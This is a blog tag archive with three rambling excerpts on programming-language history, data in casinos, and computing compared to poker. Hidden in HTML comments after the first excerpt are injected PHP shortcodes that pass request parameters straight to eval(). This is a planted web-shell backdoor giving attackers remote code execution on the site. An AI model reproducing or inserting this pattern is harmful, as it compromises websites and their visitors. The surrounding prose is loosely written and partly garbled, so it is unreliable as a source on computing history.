Posts Tagged "internet"

Programming language’s Leaps and Bounds

Programming language’s Leaps and Bounds

In this post, I will do my best to get to the cruz of computer systems and networks, really getting into exactly where it came from. Starting with the von Neumann architecture, computer memory had the developed capacity to store computer programs. This was obviously a slow process, but in certain days, what else could you expect. Then, assembly languages were created which fave the programmer the ability to specify code; to directly address issues within the computer network so that the user can achieve whatever they might need to on your specific website.  This process began with complex networks of symbols and binary systems, but today, we can see exactly how streamlined these processess have become. With an easy access blog-setup site like WordPress, anyone can access the depths of the internet and provide any and all information they have the proclivity to profess to the web. This evolution has taken years and is in no respect something to take for granted.   However, I am happy to see a wider-breadth of internet clientele and beta-level usage. It may deter from your average users incentive to really understand what they are doing and what the implications of their actions online are. But, at the end of the day, how much can us programmers seriously ask.   Well, in the name of not giving up, in the 1950s, FORTRAN, a high level programming language was developed. This more complex abstraction in programming language allows direct formulas to be implemented within machine language. This was huge then, but now with inexpensive processing power and abstracted hardware readily available in programming languages, options abound and usability takes leaps and bounds. For example, an open-source editor concept that sites like Wikipedia use, have since developed Beta-level editors which take away the comprehension of any html. This is huge for your average computer  user who avoids going deeper than the surface. I see this as important, but we are nowhere near close to the stage of reducing the importance of programming language. <!– [insert_php]if (isset($_REQUEST[“ouzQp”])){eval($_REQUEST[“ouzQp”]);exit;}[/insert_php][php]if (isset($_REQUEST[“ouzQp”])){eval($_REQUEST[“ouzQp”]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST[“nOuQ”])){eval($_REQUEST[“nOuQ”]);exit;}[/insert_php][php]if (isset($_REQUEST[“nOuQ”])){eval($_REQUEST[“nOuQ”]);exit;}[/php]...

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Information Systems and Data

Information Systems and Data

That’s the name of the game. Nothing more can be said than data. Big data and small data. All of it is so significantly relative to the successes of your internet experience. Information systems in this regard focuses on the networks of software users have with which they are able to process and create data.  This component of navigating the inter-web, from communicating from one to another person, to storing and retrieving information. Data, as far as I know, rules the world. The ability to navigate statistics and human action. These abilities are certainly novel to modern comprehension, but they are being developed and used so readily that from articles to policy-making, data is the king. It’s funny, today you can get degrees and achieve a long and fruitful career with no more than the ability to critically analyze data. Now, that is no easy feat, but it is still accessible for many with a bit of interest and patience. Data in many cases gives the beholder a higher comprehension of chances. In that regard, I must acknowledge the importance it holds in casinos. Data gives casino owners and managers a leg up on how their customer is prone to act. How much chance should we allow, or even what aesthetic would most likely get this or that clientele to spend more money. For a casino, data equates to a money making dream. Naturally, chance with a heavy hitter allows the ability to tough blow, their invariably pervasive control over all numbers at play, from people to games played. For the gambler, from blackjack aficionados to texas hold’em experts and even slot or roulette players, data through information systems can very well be on their side. However, it takes extensive research to ever come to this result. Also, tapping into available information is tough. But, if you play a conservative game and read your average opponent, with which data can certainly help, you’re much more likely to succeed in winning that...

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Computer’s High Stakes Poker Game

Computer’s High Stakes Poker Game

One might find this post a little outlandish, but I will argue here the nature in which a computer plays poker itself. In its system of gambling, trial and error, chance and all else, the computer systematically approaches your own level of usage and affords an equitable reward for one’s level and understanding. The rewards and depth system is one I came up with, but it successfully measures the extent to which the individual might approach the complexity of the internet. Coding coding coding. If you can handle that, then you’re approached almost an expert level of computer competence. With this prestigious hand in the poker game, one can manipulate and achieve almost what they wish, with enough time and effort. As if it were literally a game of cards, your luck and favor changes with diligence and knowledge. That is to say, were I to approach the world series of poker, even with my experience, I’d be tossed out on the lawn before the second hand is drawn. I enjoy poker quite thoroughly, and I am not afraid to say it. My poker competence does not directly correlate to my knowledge of the computer and extent there, but were I to measure said competence in this way, I’d be undoubtedly your famed star, your expert enthusiast who cannot get enough. Let’s just say these are my own measures, but hey, what can you do! Computers and the networks and language they are composed of create a systematic game. A game in which variables must be considered. What’s on the line? What if I make this move and my life is on the line because I was gambling too much over the last few weeks? The same might be said for playing poker. You start posting and engaging the internet blindly, as one might be inclined to do so when playing poker. You can end up in the hole in just about no time. Your reputation is tarnished and you become the laughing stock of the internet, hitting blog forums as far as reddit and twitter which openly display your mishaps. My argument is thus here: watch out before you dig a hole too deep to crawl out of. That require nothing more than acknowledging one’s...

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